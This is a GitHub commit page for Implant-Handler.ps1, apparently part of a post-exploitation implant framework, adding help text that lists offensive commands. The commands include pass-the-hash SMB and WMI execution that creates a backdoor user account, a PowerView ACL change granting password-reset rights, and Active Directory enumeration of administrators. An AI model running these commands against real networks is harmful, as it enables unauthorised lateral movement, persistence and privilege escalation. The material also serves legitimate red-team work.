Skip to content

Commit

Permalink
Added Powerview ACL Checker Functions to Help
Browse files Browse the repository at this point in the history
  • Loading branch information
benpturner committed Sep 4, 2017
1 parent 2b3cf56 commit e14f924
Showing 1 changed file with 10 additions and 1 deletion.
11 changes: 10 additions & 1 deletion Implant-Handler.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -475,7 +475,16 @@ $header = '
write-host " Invoke-SMBLogin -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash/-Password" -ForegroundColor Green
write-host " Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash/-Pass -Command `"net user SMBExec Winter2017 /add`"" -ForegroundColor Green
write-host " Invoke-WMIExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash/-Pass -Command `"net user SMBExec Winter2017 /add`"" -ForegroundColor Green
write-host " Net View | Net Users | Whoami /groups | Whoami /priv | Net localgroup administrators | Net Accounts /dom" -ForegroundColor Green
write-host " Net View | Net Users | Net localgroup administrators | Net Accounts /dom " -ForegroundColor Green
write-host " Whoami /groups | Whoami /priv " -ForegroundColor Green
write-host `n "Active Directory Enumeration: " -ForegroundColor Green
write-host "==================" -ForegroundColor Red
write-host " Invoke-ACLScanner" -ForegroundColor Green
write-host " Get-ObjectACL -ResolveGUIDs -SamAccountName john" -ForegroundColor Green
write-host " Add-ObjectACL -TargetSamAccountName arobbins -PrincipalSamAccountName harmj0y -Rights ResetPassword" -ForegroundColor Green
write-host " Get-Netuser -admincount | select samaccountname" -ForegroundColor Green
write-host " Get-Netgroup -admincount | select samaccountname" -ForegroundColor Green
write-host " Get-NetGroupMember "Domain Admins" -recurse|select membername" -ForegroundColor Green
write-host ' Get-NetUser -Filter | Select-Object samaccountname,userprincipalname' -ForegroundColor Green
write-host ' Get-NetUser -Filter samaccountname=test' -ForegroundColor Green
write-host ' Get-NetUser -Filter [email protected]' -ForegroundColor Green
Expand Down

0 comments on commit e14f924

Please sign in to comment.